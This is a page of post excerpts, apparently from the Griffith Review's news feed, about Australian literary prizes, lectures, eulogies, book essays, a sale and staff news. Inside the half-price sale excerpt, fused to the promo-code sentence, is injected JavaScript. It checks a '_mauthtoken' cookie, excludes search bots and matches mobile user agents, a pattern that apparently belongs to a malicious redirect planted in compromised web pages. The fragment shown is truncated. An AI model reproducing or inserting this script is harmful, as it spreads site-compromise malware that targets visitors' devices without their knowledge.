Nature Writing Prize 2017

The Nature Conservancy’s fourth biennial Nature Writing Prize is open for submissions until 27 January 2017. The $5,000 award is for an essay between 3,000 and 5,000 words to the theme ‘writing of place’. The prize will go to an Australian writer whose entry is judged to be of the highest literary merit and which…

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Cultural institutions and ideas of Australia in the age of FANG:
the 2016 Brian Johns lecture

In the age of FANG (Facebook, Apple, Amazon, Netflix and Google) how can small players like Australia sustain their cultural identity? Griffith Review editor Julianne Schultz explains why the age of FANG is profoundly different to anything we’ve known before. She discusses the cultural industries, their importance and potential and says that if we’re to become…

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Brian Johns AO
A critical Australian romantic

Eulogy by Julianne Schultz AM FAHA, St Canice’s Kings Cross, 7 January 2016 Brian Johns was a remarkable man – original, brave, generous, funny, smart, determined and, above all, endlessly curious. When his beloved Sarah asked me to deliver this eulogy, I said I was not sure I could. I worried I would be too…

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Indigenous recognition in WA

Yesterday, Western Australia became the last mainland state to recognise Indigenous people as the state’s first inhabitants and traditional custodians, with a unanimously passed bill in the WA Legislative Council. Listen to Fran Kelly’s report on this important, if symoblic, milestone on ABC RN Breakfast. For more on the state of Indigenous affairs in Western…

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On ‘Hotel Sorrento’, by Hannie Rayson

HANNIE RAYSON’S WELL-loved Hotel Sorrento, which premiered onstage in 1991 and was made into a feature film in 1995, explored some immediately identifiable terrain for many audiences when it first appeared. It tapped the theme of Australian ‘cultural cringe’, the contested ownership of cultural and personal stories and conflict over entitlement and betrayal. These concerns…

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On ‘The Harp in the South’, by Ruth Park

IN OCTOBER 1945, just three months after Japan’s surrender ended Australia’s role in the Second World War, the Sydney Morning Herald announced that it had set aside £30,000 to stimulate the development of our art and literature, which included a £2,000 prize for best novel. Ruth Park recounts in the second volume of her autobiography,…

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On ‘Tell Me I’m Here’, by Anne Deveson

A SHORT WAY into Tell Me I’m Here, Anne Deveson’s magnificent account of her young adult son Jonathan’s catastrophic mental illness, she describes yet one more struggle to get Jonathan to agree to go to hospital. Her needs – like her assessment of his needs – are clear: he should be kept safe there for…

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MASSIVE half-price sale

It’s time for the Griffith Review massive sale! For two weeks only we’re offering 50 per cent off ALL Griffith Review print and digital editions published before 2014! That’s editions 1 to 42. Select your editions from our online store and enter SALE50 in the promocode box at the checkout.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s…

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1938 – 2014

The great Australian writer Morris Lurie has died in Melbourne at the age of 75. Mr Lurie was a favorite of the REVIEW not least because of the way he reached across the generations.  Younger members of our team grew up reading his children’s books in the 1980s, the most fondly remembered of which was…

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Download free ebook

When We Were Kings is a free bonus ebook of journalism and stories about journalism created to accompany Griffith REVIEW 45: The Way We Work. The ebook is dedicated to jailed Australian journalist, Peter Greste and his colleagues, who were given long prison terms by an Egyptian court for doing their jobs. Features Sonya Voumard, Kathryn Knight, Phil…

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Farewell to Paul Thwaites

After eleven years managing the production of all forty-five editions of Griffith REVIEW – including several iterations of the website, countless posters, bookmarks, flyers – Production Manager Paul Thwaites has decided it is time to go fishing.  Paul has been an essential member of the Griffith REVIEW team since the start and will be greatly…

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